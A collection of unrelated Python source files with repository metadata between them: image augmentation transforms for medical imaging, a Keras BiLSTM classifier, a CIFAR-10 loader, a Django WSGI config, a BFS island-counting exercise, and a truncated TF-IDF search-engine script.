if len(ct) == 0: t = t[np.newaxis,...]
return s, t
class RandomCrop:
"""
Randomly crop a 2d patch from a 2d image
Args:
output_size (tuple or int): Desired output size.
If int, square crop is made.
"""
def __init__(self, output_size:Union[tuple,int], threshold:Optional[float]=None):
self.output_size = (output_size, output_size) if isinstance(output_size, int) else output_size
self.thresh = threshold
def __call__(self, sample:Tuple[np.ndarray,np.ndarray]) -> Tuple[np.ndarray,np.ndarray]:
src, tgt = sample
*cs, h, w = src.shape
*ct, _, _ = tgt.shape
hh, ww = self.output_size
max_idxs = (h-hh//2, w-ww//2)
min_idxs = (hh//2, ww//2)
s = src[0] if len(cs) > 0 else src # use the first image to determine sampling if multimodal
mask = np.where(s >= (s.mean() if self.thresh is None else self.thresh))
c = np.random.randint(0, len(mask[0])) # choose the set of idxs to use
s_idxs = [m[c] for m in mask] # pull out the chosen idxs
i, j = [i if min_i <= i <= max_i else max_i if i > max_i else min_i
for max_i, min_i, i in zip(max_idxs, min_idxs, s_idxs)]
oh = 0 if hh % 2 == 0 else 1
ow = 0 if ww % 2 == 0 else 1
s = src[..., i-hh//2:i+hh//2+oh, j-ww//2:j+ww//2+ow]
t = tgt[..., i-hh//2:i+hh//2+oh, j-ww//2:j+ww//2+ow]
if len(cs) == 0: s = s[np.newaxis,...] # add channel axis if empty
if len(ct) == 0: t = t[np.newaxis,...]
return s, t
def __repr__(self):
s = '{name}(output_size={output_size}, threshold={thresh})'
d = dict(self.__dict__)
return s.format(name=self.__class__.__name__, **d)
class RandomSlice(BaseTransform):
"""
take a random 2d slice from an image given a sample axis
Args:
axis (int): axis on which to take a slice
div (float): divide the mean by this value in the calculation of mask
the higher this value, the more background will be "valid"
"""
def __init__(self, axis:int=0, div:float=2):
assert 0 <= axis <= 2
self.axis = axis
self.div = div
def __call__(self, sample:Tuple[np.ndarray,np.ndarray]) -> Tuple[np.ndarray,np.ndarray]:
src, tgt = sample
*cs, _, _, _ = src.shape
*ct, _, _, _ = tgt.shape
s = src[0] if len(cs) > 0 else src # use the first image to determine sampling if multimodal
idx = np.random.choice(self._valid_idxs(s)[self.axis])
s = self._get_slice(src, idx)
t = self._get_slice(tgt, idx)
if len(cs) == 0: s = s[np.newaxis,...] # add channel axis if empty
if len(ct) == 0: t = t[np.newaxis,...]
return s, t
def _get_slice(self, img:np.ndarray, idx:int):
s = img[...,idx,:,:] if self.axis == 0 else \
img[...,:,idx,:] if self.axis == 1 else \
img[...,:,:,idx]
return s
def _valid_idxs(self, img:np.ndarray) -> Tuple[np.ndarray,np.ndarray,np.ndarray]:
""" get the set of indices from which to sample (foreground) """
mask = np.where(img > img.mean() / self.div) # returns a tuple of length 3
h, w, d = [np.arange(np.min(m), np.max(m)+1) for m in mask] # pull out the valid idx ranges
return h, w, d
class ToTensor(BaseTransform):
""" Convert images in sample to Tensors """
def __init__(self, color=False):
self.color = color
def __call__(self, sample:Tuple[np.ndarray,np.ndarray]) -> Tuple[torch.Tensor,torch.Tensor]:
src, tgt = sample
if isinstance(src, np.ndarray) and isinstance(tgt, np.ndarray):
return torch.from_numpy(src), torch.from_numpy(tgt)
if isinstance(src, list): src = np.stack(src)
if isinstance(tgt, list): src = np.stack(tgt)
# handle PIL images
src, tgt = np.asarray(src), np.asarray(tgt)
if src.ndim == 3 and self.color: src = src.transpose((2,0,1)).astype(np.float32)
if tgt.ndim == 3 and self.color: tgt = tgt.transpose((2,0,1)).astype(np.float32)
if src.ndim == 2: src = src[None,...] # add channel dimension
if tgt.ndim == 2: tgt = tgt[None,...]
return torch.from_numpy(src), torch.from_numpy(tgt)
class ToPILImage(BaseTransform):
""" convert 2D image to PIL image """
def __init__(self, color=False):
self.color = color
def __call__(self, sample:Tuple[torch.Tensor,torch.Tensor]):
src, tgt = sample
src, tgt = np.squeeze(src), np.squeeze(tgt)
if src.ndim == 3 and self.color:
src = Image.fromarray(src.transpose((1,2,0)).astype(np.uint8))
elif src.ndim == 2:
src = Image.fromarray(src)
else:
src = [Image.fromarray(s) for s in src]
if tgt.ndim == 3 and self.color:
tgt = Image.fromarray(tgt.transpose((1,2,0)).astype(np.uint8))
elif tgt.ndim == 2:
tgt = Image.fromarray(tgt)
else:
tgt = [Image.fromarray(t) for t in tgt]
return src, tgt
class RandomAffine(tv.transforms.RandomAffine):
""" apply random affine transformations to a sample of images """
def __init__(self, p:float, degrees:float, translate:float=0, scale:float=0, resample:int=Image.BILINEAR,
segmentation=False):
self.p = p
self.degrees, self.translate, self.scale = (-degrees,degrees), (translate,translate), (1-scale,1+scale)
self.shear, self.fillcolor = None, 0
self.resample = resample
self.segmentation = segmentation
def affine(self, x, params, resample=Image.BILINEAR):
return TF.affine(x, *params, resample=resample, fillcolor=0)
def __call__(self, sample:Tuple[PILImage, PILImage]):
src, tgt = sample
ret = self.get_params(self.degrees, self.translate, self.scale, None, tgt.size)
if self.degrees[1] > 0 and random.random() < self.p:
if not isinstance(src, list):
src = self.affine(src, ret, self.resample)
else:
src = [self.affine(s, ret, self.resample) for s in src]
resample = Image.NEAREST if self.segmentation else self.resample
if not isinstance(tgt, list):
tgt = self.affine(tgt, ret, resample)
else:
tgt = [self.affine(t, ret, resample) for t in tgt]
return src, tgt
class RandomFlip:
def __init__(self, p:float, vflip:bool=False, hflip:bool=False):
self.p = p
self.vflip, self.hflip = vflip, hflip
def __call__(self, sample:Tuple[PILImage,PILImage]):
src, tgt = sample
if self.vflip and random.random() < self.p:
if not isinstance(src, list):
src = TF.vflip(src)
else:
src = [TF.vflip(s) for s in src]
if not isinstance(tgt, list):
tgt = TF.vflip(tgt)
else:
tgt = [TF.vflip(t) for t in tgt]
if self.hflip and random.random() < self.p:
if not isinstance(src, list):
src = TF.hflip(src)
else:
src = [TF.hflip(s) for s in src]
if not isinstance(tgt, list):
tgt = TF.hflip(tgt)
else:
tgt = [TF.hflip(t) for t in tgt]
return src, tgt
def __repr__(self):
s = '{name}(p={p}, vflip={vflip}, hflip={hflip})'
d = dict(self.__dict__)
return s.format(name=self.__class__.__name__, **d)
class RandomGamma:
""" apply random gamma transformations to a sample of images """
def __init__(self, p, tfm_y=False, gamma:float=0., gain:float=0.):
self.p, self.tfm_y = p, tfm_y
self.gamma, self.gain = (max(1-gamma,0),1+gamma), (max(1-gain,0),1+gain)
@staticmethod
def _make_pos(x): return x.min(), x - x.min()
def _gamma(self, x, gain, gamma):
is_pos = torch.all(x >= 0)
if not is_pos: m, x = self._make_pos(x)
x = gain * x ** gamma
if not is_pos: x = x + m
return x
def __call__(self, sample:Tuple[torch.Tensor,torch.Tensor]):
src, tgt = sample
if random.random() < self.p:
gamma = random.uniform(self.gamma[0], self.gamma[1])
gain = random.uniform(self.gain[0], self.gain[1])
src = self._gamma(src, gain, gamma)
if self.tfm_y: tgt = self._gamma(tgt, gain, gamma)
return src, tgt
def __repr__(self):
s = '{name}(p={p}, tfm_y={tfm_y}, gamma={gamma}, gain={gain})'
d = dict(self.__dict__)
return s.format(name=self.__class__.__name__, **d)
class RandomNoise:
""" add random gaussian noise to a sample of images """
def __init__(self, p, tfm_x=True, tfm_y=False, std:float=0):
self.p, self.tfm_x, self.tfm_y, self.std = p, tfm_x, tfm_y, std
def __call__(self, sample:Tuple[torch.Tensor,torch.Tensor]):
src, tgt = sample
if self.std > 0 and random.random() < self.p:
if self.tfm_x: src = src + torch.randn_like(src).mul(self.std)
if self.tfm_y: tgt = tgt + torch.randn_like(tgt).mul(self.std)
return src, tgt
def __repr__(self):
s = '{name}(p={p}, tfm_x={tfm_x}, tfm_y={tfm_y}, std={std})'
d = dict(self.__dict__)
return s.format(name=self.__class__.__name__, **d)
class RandomBlock:
""" add random blocks of random intensity to a sample of images """
def __init__(self, p, sz_range, thresh=None, int_range=None, tfm_x=True, tfm_y=False, is_3d=False):
self.p, self.int, self.tfm_x, self.tfm_y = p, int_range, tfm_x, tfm_y
self.sz = sz_range if all([isinstance(szr, (tuple,list)) for szr in sz_range]) else \
(sz_range, sz_range, sz_range) if is_3d else (sz_range, sz_range)
self.thresh = thresh
self.is_3d = is_3d
def block2d(self, src, tgt):
_, hmax, wmax = src.shape
mask = np.where(src >= (src.mean() if self.thresh is None else self.thresh))
c = np.random.randint(0, len(mask[1])) # choose the set of idxs to use
h, w = [m[c] for m in mask[1:]] # pull out the chosen idxs (2D)
sh, sw = random.randrange(*self.sz[0]), random.randrange(*self.sz[1])
oh = 0 if sh % 2 == 0 else 1
ow = 0 if sw % 2 == 0 else 1
if h+(sh//2)+oh >= hmax: h = hmax - (sh//2) - oh
if w+(sw//2)+ow >= wmax: w = wmax - (sw//2) - ow
if h-(sh//2) < 0: h = sh//2
if w-(sw//2) < 0: w = sw//2
int_range = self.int if self.int is not None else (src.min(), src.max()+1)
if random.random() < self.p:
if self.tfm_x: src[:,h-sh//2:h+sh//2+oh,w-sw//2:w+sw//2+ow] = np.random.uniform(*int_range)
if self.tfm_y: tgt[:,h-sh//2:h+sh//2+oh,w-sw//2:w+sw//2+ow] = np.random.uniform(*int_range)
return src, tgt
def block3d(self, src, tgt):
_, hmax, wmax, dmax = src.shape
mask = np.where(src >= (src.mean() if self.thresh is None else self.thresh))
c = np.random.randint(0, len(mask[1])) # choose the set of idxs to use
h, w, d = [m[c] for m in mask[1:]] # pull out the chosen idxs (2D)
sh, sw, sd = random.randrange(*self.sz[0]), random.randrange(*self.sz[1]), random.randrange(*self.sz[2])
oh = 0 if sh % 2 == 0 else 1
ow = 0 if sw % 2 == 0 else 1
od = 0 if sd % 2 == 0 else 1
if h+(sh//2)+oh >= hmax: h = hmax - (sh//2) - oh
if w+(sw//2)+ow >= wmax: w = wmax - (sw//2) - ow
if d+(sd//2)+od >= dmax: d = dmax - (sd//2) - od
if h-(sh//2) < 0: h = sh//2
if w-(sw//2) < 0: w = sw//2
if d-(sd//2) < 0: d = sd//2
int_range = self.int if self.int is not None else (src.min(), src.max()+1)
if isinstance(src, torch.Tensor): src, tgt = src.clone(), tgt.clone()
if random.random() < self.p:
if self.tfm_x: src[:,h-sh//2:h+sh//2+oh,w-sw//2:w+sw//2+ow,d-sd//2:d+sd//2+od] = np.random.uniform(*int_range)
if self.tfm_y: tgt[:,h-sh//2:h+sh//2+oh,w-sw//2:w+sw//2+ow,d-sd//2:d+sd//2+od] = np.random.uniform(*int_range)
return src, tgt
def __call__(self, sample:Tuple[torch.Tensor,torch.Tensor]):
src, tgt = sample
src, tgt = self.block2d(src, tgt) if not self.is_3d else self.block3d(src, tgt)
return src, tgt
def __repr__(self):
s = '{name}(p={p}, sz={sz}, int_range={int}, thresh={thresh}, tfm_x={tfm_x}, tfm_y={tfm_y}, is_3d={is_3d})'
d = dict(self.__dict__)
return s.format(name=self.__class__.__name__, **d)
class AddChannel:
""" Add empty first dimension to sample """
def __call__(self, sample:Tuple[torch.Tensor,torch.Tensor]) -> Tuple[torch.Tensor,torch.Tensor]:
src, tgt = sample
return (src.unsqueeze(0), tgt.unsqueeze(0))
class FixIntensityRange:
""" put data in range of 0 to 1 """
def __init__(self, scale:float=1):
self.scale = scale
def __call__(self, sample:Tuple[np.ndarray,np.ndarray]) -> Tuple[np.ndarray,np.ndarray]:
x, y = sample
x = self.scale * ((x - x.min()) / (x.max() - x.min()))
y = self.scale * ((y - y.min()) / (y.max() - y.min()))
return x, y
class Digitize:
""" digitize a sample of images """
def __init__(self, tfm_x=False, tfm_y=True, int_range=(1,100), step=1):
self.tfm_x, self.tfm_y, self.range, self.step = tfm_x, tfm_y, int_range, step
def __call__(self, sample:Tuple[torch.Tensor,torch.Tensor]):
src, tgt = sample
if self.tfm_x: src = np.digitize(src, np.arange(self.range[0], self.range[1], self.step))
if self.tfm_y: tgt = np.digitize(tgt, np.arange(self.range[0], self.range[1], self.step))
return src, tgt
def normalize3d(tensor, mean, std, inplace=False):
"""
normalize a 3d tensor
Args:
tensor (Tensor): Tensor image of size (C, H, W, D) to be normalized.
mean (sequence): Sequence of means for each channel.
std (sequence): Sequence of standard deviations for each channel.
Returns:
Tensor: Normalized Tensor image.
"""
if not inplace:
tensor = tensor.clone()
mean = torch.as_tensor(mean, dtype=torch.float32, device=tensor.device)
std = torch.as_tensor(std, dtype=torch.float32, device=tensor.device)
tensor.sub_(mean[:, None, None, None]).div_(std[:, None, None, None])
return tensor
class Normalize:
"""
Implement a normalize function for input two images.
It computes std and mean for each input Tensor if mean and std equal to None,
then the function normalizes Tensor using the computed values.
Args:
mean: mean of input Tensor. if None passed, mean of each Tensor will be computed and normalization will be performed based on computed mean.
std: standard deviation of input Tensor. if None passed, std of each Tensor will be computed and normalization will be performed based on computed std.
tfm_x (bool): transform x or not
tfm_y (bool): transform y or not
is_3d (bool): is the Tensor 3d or not. this causes to normalize the Tensor on each channel.
"""
def __init__(self, mean=None, std=None, tfm_x:bool=True, tfm_y:bool=False,
is_3d:bool=False):
self.mean = mean
self.std = std
self.tfm_x = tfm_x
self.tfm_y = tfm_y
self.is_3d = is_3d
def _tfm(self, tensor:torch.Tensor):
if self.is_3d:
norm = normalize3d
mean = torch.as_tensor(self.mean, dtype=torch.float32, device=tensor.device) if not (
self.mean is None) else tensor.mean(dim=(1, 2, 3))
std = torch.as_tensor(self.std, dtype=torch.float32, device=tensor.device) if not (
self.std is None) else tensor.std(dim=(1, 2, 3))
# to prevent division by zero
std[std == 0.] = 1e-6
else:
norm = tv.transforms.functional.normalize
mean = self.mean if not (self.mean is None) else tensor.mean().item()
std = self.std if not (self.std is None) else tensor.std().item()
# to prevent division by zero
if std == 0.:
std = 1e-6
return norm(tensor, mean, std)
def __call__(self, sample:Tuple[torch.Tensor,torch.Tensor]):
src, tgt = sample
if self.tfm_x: src = self._tfm(src)
if self.tfm_y: tgt = self._tfm(tgt)
return src, tgt
def __repr__(self):
s = '{name}(mean={mean}, std={std}, tfm_x={tfm_x}, tfm_y={tfm_y}, is_3d={is_3d})'
d = dict(self.__dict__)
return s.format(name=self.__class__.__name__, **d)
class MedianFilter:
""" median filter the sample """
def __init__(self, tfm_x=True, tfm_y=False):
try:
from scipy.ndimage.filters import median_filter
except (ModuleNotFoundError, ImportError):
raise NiftiDatasetError('scipy not installed, cannot use median filter')
self.filter = median_filter
self.tfm_x = tfm_x
self.tfm_y = tfm_y
def __call__(self, sample:Tuple[torch.Tensor,torch.Tensor]):
src, tgt = sample
if self.tfm_x: src = self.filter(src, 3)
if self.tfm_y: tgt = self.filter(tgt, 3)
return src, tgt
class TrimIntensity:
"""
Trims intensity to given interval [new_min, new_max].
Trim intensities that are outside range [min_val, max_val], then scale to [new_min, new_max].
"""
def __init__(self, min_val:float, max_val:float,
new_min:float=-1.0, new_max:float=1.0, tfm_x:bool=True, tfm_y:bool=False):
if min_val >= max_val:
raise ValueError('min_val must be less than max_val')
if new_min >= new_max:
raise ValueError('new_min must be less than new_max')
self.min_val = min_val
self.max_val = max_val
self.new_min = new_min
self.new_max = new_max
self.tfm_x = tfm_x
self.tfm_y = tfm_y
def _tfm(self, x:torch.Tensor):
x = (x - self.min_val) / (self.max_val - self.min_val)
x[x > 1] = 1.
x[x < 0] = 0.
diff = self.new_max - self.new_min
x *= diff
x += self.new_min
return x
def __call__(self, sample:Tuple[torch.Tensor,torch.Tensor]) -> Tuple[torch.Tensor,torch.Tensor]:
src, tgt = sample
if self.tfm_x: src = self._tfm(src)
if self.tfm_y: tgt = self._tfm(tgt)
return src, tgt
def get_transforms(p:Union[list,float], tfm_x:bool=True, tfm_y:bool=False, degrees:float=0,
translate:float=None, scale:float=None, vflip:bool=False, hflip:bool=False,
gamma:float=0, gain:float=0, noise_pwr:float=0, block:Optional[Tuple[int,int]]=None,
thresh:Optional[float]=None, is_3d:bool=False,
mean:Optional[Tuple[float]]=None, std:Optional[Tuple[float]]=None,
color:bool=False, segmentation:bool=False):
""" get many desired transforms in a way s.t. can apply to nifti/tiffdatasets """
if isinstance(p, float): p = [p] * 5
tfms = []
do_affine = p[0] > 0 and (degrees > 0 or translate > 0 or scale > 0)
do_flip = p[1] > 0 and (vflip or hflip)
if do_affine or do_flip:
tfms.append(ToPILImage(color=color))
if do_affine:
tfms.append(RandomAffine(p[0], degrees, translate, scale, segmentation=segmentation))
if do_flip:
tfms.append(RandomFlip(p[1], vflip, hflip))
tfms.append(ToTensor(color))
if p[2] > 0 and (gamma is not None or gain is not None):
tfms.append(RandomGamma(p[2], tfm_y, gamma, gain))
if p[3] > 0 and (block is not None):
tfms.append(RandomBlock(p[3], block, thresh=thresh, tfm_x=tfm_x, tfm_y=tfm_y, is_3d=is_3d))
if p[4] > 0 and (noise_pwr > 0):
tfms.append(RandomNoise(p[4], tfm_x, tfm_y, noise_pwr))
if mean is not None and std is not None:
tfms.append(Normalize(mean, std, tfm_x, tfm_y, is_3d))
return tfms
| [
"jacob.reinhold@jhu.edu"
] | jacob.reinhold@jhu.edu |
3936f486d98614476a1c024263c2f459ed44e998 | 16260b9e32245ab00f15911a610fa5de50830310 | /bilstm.py | c51bf074a961fbae1b659850d4f6c46b60f6fcba | [] | no_license | lorenzoscottb/semantic_author_profiling | 3c42a6f4ec5564d707e56183b8dcbe3abca8de00 | 5182a234aa0f1c7a42713a7a16e34da9a295566a | refs/heads/master | 2020-03-19T03:10:41.299438 | 2019-01-23T11:22:59 | 2019-01-23T11:22:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,647 | py |
import random
import logging
from numpy import array
from numpy import cumsum
from keras.models import Sequential
from keras.layers import LSTM
from keras.layers import Dense
from keras.layers import Bidirectional
from keras.utils.np_utils import to_categorical
from sklearn.preprocessing import StandardScaler
from pandas_ml import ConfusionMatrix
import matplotlib.pyplot as plt
# The BiLSTM
def Bi_LSTM(units, features, time_steps, prn=False):
model = Sequential()
model.add(Bidirectional(LSTM(units, return_sequences=False),
input_shape=(time_steps, features),
merge_mode='concat'))
model.add(Dense(int((units/2)), activation='relu'))
model.add(Dense(43, activation='softmax'))
model.compile(loss='sparse_categorical_crossentropy',
optimizer='adam', metrics=['acc'])
if prn:
print(model.summary())
return model
# Training
# setting the task ; 3D modelling : sample, time steps, and feature.
model = Bi_LSTM(512, 400, None, prn=True)
# train model on given % of stimuli
# indicate the newtwork corpus:
# touples of shape (expected output(integer), sentence(series of vectors))
ts = int((len(network_corpus)*65)/100)
for i in range(ts):
print('interation '+str(i)+'of'+' '+str(ts))
x = [vec for vec in network_corpus[i][1]]
y = network_corpus[i][0]
# extracting each sample (sentence) lenth
length = len(x)
# reshape: sample, time steps, feature at each time step.
# if I have 1000 sentences of 10 words, presented in a 3-dim vector:
# is nb_samples = 1000, time steps = 10, input_dim = 3
X = array(x).reshape(1, length, 400)
Y = array(y).reshape(1, 1)
model.fit(X, Y, epochs=10, batch_size=33, verbose=2)
# Evaluation
start = len(network_corpus)-ts
tt = 25
out = list(np.zeros(tt))
exp = list(np.zeros(tt))
correct = 0
for i in range(tt):
x = [vec for vec in network_corpus[i+start][1]]
y = network_corpus[i+start][0]
length = len(x)
X = array(x).reshape(1, length, 400)
Y = array(y).reshape(1, 1)
out[i] = model.predict_classes(X, verbose=2)
exp[i] = y
if y == out[i]:
correct += 1
print('predicted Class: '+str(out[i])+' Actual Class: '+
str(y))
print('Overall accuracy: '+str(int((correct*100)/tt))+'%')
# plotting the confusion matrix
# reconverting numbers to presidnts names
predicted = [list(d.keys())[int(p)] for p in nltk.word_tokenize(str(out)) if p.isdigit()]
actual = [list(d.keys())[a] for a in exp]
cf = ConfusionMatrix(actual, predicted)
cf.plot(normalized=True, backend='seaborn', cmap="Blues")
plt.show()
| [
"noreply@github.com"
] | lorenzoscottb.noreply@github.com |
b208b1c05aecfb3ed8bf1b22d72edc9eea8eac98 | cde798e18c5b134d5ca8beab102573e4b2e9a33b | /CIFAR/cifar10_data.py | ae150dac9e72e2411f42160f175a0f5f706940ec | [] | no_license | trifisch/ml-experiments | b9a6e3c96cf7a40fe541ce485ec6812c3424ab8f | 4e6ab63df2b69da027b9ea3eac4212364863162f | refs/heads/master | 2022-11-06T05:16:58.174506 | 2020-06-16T14:02:12 | 2020-06-16T14:02:12 | 267,070,945 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,628 | py | import numpy as np
from sklearn.preprocessing import MinMaxScaler
from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import train_test_split
from tensorflow.keras.datasets import cifar10
from tensorflow.keras.utils import to_categorical
from tensorflow.keras.preprocessing.image import ImageDataGenerator
# configurable parameters
val_ratio = 0.3 # percentage of validation set values
random_state = 0 # for reproducible splits
rotation_range=10
zoom_range=0.05
width_shift_range=0.05
height_shift_range=0.05
fill_mode='constant'
cval=0.0
horizontal_flip=False
vertical_flip=False
class CIFAR10:
def __init__(self, scale_mode="none", augment_size=0):
# Load the data set
(self.x_train, self.y_train), (self.x_test, self.y_test) = cifar10.load_data()
# Convert to float32
self.x_train = self.x_train.astype(np.float32)
self.y_train = self.y_train.astype(np.float32)
self.x_test = self.x_test.astype(np.float32)
self.y_test = self.y_test.astype(np.float32)
# split validation set from training set
self.x_train, self.x_val, self.y_train, self.y_val = train_test_split(self.x_train, self.y_train, test_size=val_ratio, random_state=random_state)
# Save important data attributes as variables
self.train_size = self.x_train.shape[0]
self.val_size = self.x_val.shape[0]
self.test_size = self.x_test.shape[0]
# image dimensions
self.width = self.x_train.shape[1]
self.height = self.x_train.shape[2]
self.depth = self.x_train.shape[3]
self.num_features = self.width * self.height * self.depth
self.num_classes = 10 # Constant for the data set
# Reshape the y data to one hot encoding
self.y_train = to_categorical(self.y_train, num_classes=self.num_classes)
self.y_val = to_categorical(self.y_val, num_classes=self.num_classes)
self.y_test = to_categorical(self.y_test, num_classes=self.num_classes)
# augment train data
self.augment_data(augment_size=augment_size)
# scale train, val and test data
self.scale_data(scale_mode=scale_mode)
def augment_data(self, augment_size=0):
if augment_size==0:
return
# Create an instance of the image data generator class
image_generator = ImageDataGenerator(
rotation_range=rotation_range,
zoom_range=zoom_range,
width_shift_range=width_shift_range,
height_shift_range=height_shift_range,
fill_mode=fill_mode,
horizontal_flip=horizontal_flip,
vertical_flip=vertical_flip,
cval=cval)
# Fit the data generator
image_generator.fit(self.x_train, augment=True)
# Get random train images for the data augmentation
rand_idxs = np.random.randint(self.train_size, size=augment_size)
x_augmented = self.x_train[rand_idxs].copy()
y_augmented = self.y_train[rand_idxs].copy()
x_augmented = image_generator.flow(x_augmented, batch_size=augment_size, shuffle=False).next()#[0]
# Append the augmented images to the train set
self.x_train = np.concatenate((self.x_train, x_augmented))
self.y_train = np.concatenate((self.y_train, y_augmented))
self.train_size = self.x_train.shape[0]
def scale_data(self, scale_mode="none", preprocess_params=None):
# Preprocess the data
if scale_mode == "standard":
if preprocess_params:
self.scaler = StandardScaler(**preprocess_params)
else:
self.scaler = StandardScaler()
elif scale_mode == "minmax":
if preprocess_params:
self.scaler = MinMaxScaler(**preprocess_params)
else:
self.scaler = MinMaxScaler(feature_range=(0, 1))
else:
return
# Temporary flatteining of the x data
self.x_train = self.x_train.reshape(self.train_size, self.num_features)
self.x_val = self.x_val.reshape(self.val_size, self.num_features)
self.x_test = self.x_test.reshape(self.test_size, self.num_features)
# Fitting and transforming
self.scaler.fit(self.x_train)
self.x_train = self.scaler.transform(self.x_train)
self.x_val = self.scaler.transform(self.x_val)
self.x_test = self.scaler.transform(self.x_test)
# Reshaping the xdata back to the input shape
self.x_train = self.x_train.reshape(
(self.train_size, self.width, self.height, self.depth))
self.x_val = self.x_val.reshape(
(self.val_size, self.width, self.height, self.depth))
self.x_test = self.x_test.reshape(
(self.test_size, self.width, self.height, self.depth))
# just for general check: show random pics from train, val, and test set
if __name__ == "__main__":
import matplotlib.pyplot as plt
cifar = CIFAR10(scale_mode="minmax")
train_img = cifar.x_train[np.random.randint(0, cifar.x_train.shape[0])]
val_img = cifar.x_train[np.random.randint(0, cifar.x_val.shape[0])]
test_img = cifar.x_train[np.random.randint(0, cifar.x_test.shape[0])]
fig, axes = plt.subplots(1, 3)
plt.tight_layout()
scale = 1.0 # use 255.0 if not already scaled upfront, e.g. with minmax scaler
axes[0].imshow(train_img/scale)
axes[0].set_title("Train")
axes[1].imshow(val_img/scale)
axes[1].set_title("Val")
axes[2].imshow(test_img/scale)
axes[2].set_title("Test")
plt.show()
| [
"trifisch@gmail.com"
] | trifisch@gmail.com |
96eee24baac64893bcfc7cf561ff29fe704e7ae1 | e902e5fc2d79203bff2e716a63054d3cdb667f23 | /Casa/wsgi.py | b2677e2dcad63b0cb8a4944a304a5877d20a98e9 | [] | no_license | amanjaiswalofficial/Casa | a6625f92019b11a8804d78c04f377cc5e7262634 | d9eea1b4b8b7bbb01ae67bcaf44a5e1b594bf847 | refs/heads/master | 2020-05-04T02:00:52.777164 | 2019-04-23T08:57:05 | 2019-04-23T08:57:05 | 178,918,528 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 385 | py | """
WSGI config for Casa project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'Casa.settings')
application = get_wsgi_application()
| [
"amanjai01.gmail.com"
] | amanjai01.gmail.com |
a269a7226604cf187ef5653174f1c4c263b1f6a7 | 92dd6a174bf90e96895127bb562e3f0a05d6e079 | /apply dfs and bfs/섬나라 아일랜드.py | d24817c5606aba77e667c87bdc35fa782e3a2e65 | [] | no_license | 123qpq/inflearn_python | caa4a86d051d76bf5612c57ae9578f1925abc5a9 | 5904cedabea9d5bc4afa3f1f76911dfccce754b5 | refs/heads/main | 2023-03-12T05:14:06.162651 | 2021-02-28T14:03:58 | 2021-02-28T14:03:58 | 338,735,340 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 683 | py | from collections import deque
n = int(input())
table = [list(map(int, input().split())) for _ in range(n)]
dx = [-1, -1, 0, 1, 1, 1, 0, -1]
dy = [0, 1, 1, 1, 0, -1, -1, -1]
q = deque()
cnt = 0
for i in range(n):
for j in range(n):
if table[i][j] == 1:
table[i][j] = 0
q.append((i, j))
while q:
now = q.popleft()
for a in range(8):
xx = now[0] + dx[a]
yy = now[1] + dy[a]
if 0 <= xx < n and 0 <= yy < n and table[xx][yy] == 1:
table[xx][yy] = 0
q.append((xx, yy))
cnt += 1
print(cnt) | [
"45002168+123qpq@users.noreply.github.com"
] | 45002168+123qpq@users.noreply.github.com |
d3dc1c55df1dd5ceae50f340e72552e80372fff6 | 20755489698a4bfcc48d3b353a12a1b80085b923 | /persian-news-search-engine/SecondPhase/QPCL.py | 1a7d49cdef05ac8dd4fbe641e187a50f76d77ceb | [] | no_license | MehradShm/InformationRetrieval | 3f005447d5f53ec5a0b212e2308523cd5ab04ea8 | 2dcf0517ae4907f70ab2359c1bfb4564c8a58a01 | refs/heads/main | 2023-02-08T13:17:01.781851 | 2020-12-31T07:11:46 | 2020-12-31T07:11:46 | 325,738,236 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,021 | py | from UI import get_input
import numpy as np
import heapq
import pandas as pd
import random
import time
collection_size = 55109
def Load_Data(field):
df1 = pd.read_csv('data/1.csv')
df2 = pd.read_csv('data/2.csv')
df3 = pd.read_csv('data/3.csv')
df4 = pd.read_csv('data/4.csv')
df5 = pd.read_csv('data/5.csv')
df6 = pd.read_csv('data/6.csv')
a = [df1,df2,df3,df4,df5,df6]
b = [df1.shape[0],df2.shape[0],df3.shape[0],df4.shape[0],df5.shape[0],df6.shape[0]]
df_sizes = [0,df1.shape[0],df1.shape[0]+df2.shape[0],
df1.shape[0]+df2.shape[0]+df3.shape[0],
df1.shape[0]+df2.shape[0]+df3.shape[0]+df4.shape[0],
df1.shape[0]+df2.shape[0]+df3.shape[0]+df4.shape[0]+df5.shape[0],
df1.shape[0]+df2.shape[0]+df3.shape[0]+df4.shape[0]+df5.shape[0]+df6.shape[0]]
Gdata, file_index = [], 0
for doc_index in range(0,55109):
if doc_index == df_sizes[file_index+1]:
file_index += 1
target_data = a[file_index].loc[doc_index-df_sizes[file_index],field]
Gdata.append(target_data)
return (Gdata)
def Load_TFIDF():
tf_idf, count = {},0
with open("tf_idf.txt",'r') as index:
line = index.readline().split(" ")
while count < 113181:
count+=1
term, scores = line[0], line[1:-1]
if term not in tf_idf.keys():
tf_idf[term] = {}
for tmp in scores:
doc_id, score = tmp.split(":")
tf_idf[term][int(doc_id)] = float(score)
line = index.readline().split(" ")
return tf_idf
def Load_DocumentVectors():
document_vectors, count = {}, 0
with open("documentvector.txt",'r') as vectors:
line = vectors.readline().split(" ")
while count < 54481:
count+=1
doc_id, terms = int(line[0]), line[1:-1]
if doc_id not in document_vectors.keys():
document_vectors[doc_id] = {}
for tmp in terms:
term, score = tmp.split(":")
document_vectors[doc_id][term] = float(score)
line = vectors.readline().split(" ")
return document_vectors
def make_document_frequencies():
document_frequencies, count = {}, 0
with open("inverted_index.txt",'r') as index:
line = index.readline().split(" ")
while count < 113181:
count+=1
term, frequency = line[0], len(line[1:-1])
document_frequencies[term] = frequency
line = index.readline().split(" ")
return document_frequencies
def Load_Champions_Lists():
champions_lists, count = {}, 0
with open("ChampionsList.txt",'r') as champion:
line = champion.readline().split(" ")
while count < 113181:
count += 1
term, champions = line[0], map(int,line[1:-1])
champions_lists[term] = champions
line = champion.readline().split(" ")
return champions_lists
def Similarity(query , document, tf_idf, document_vectors, document_frequencies):
product, norm_query, norm_document, query_score = 0, 0, 0, 0
for term in query:
count = query[term]
query_score = (1+np.log10(count)) * np.log10(collection_size/document_frequencies[term])
if document in tf_idf[term].keys():
product += query_score * tf_idf[term][document]
norm_query += query_score ** 2
if document in document_vectors.keys():
for term in document_vectors[document]:
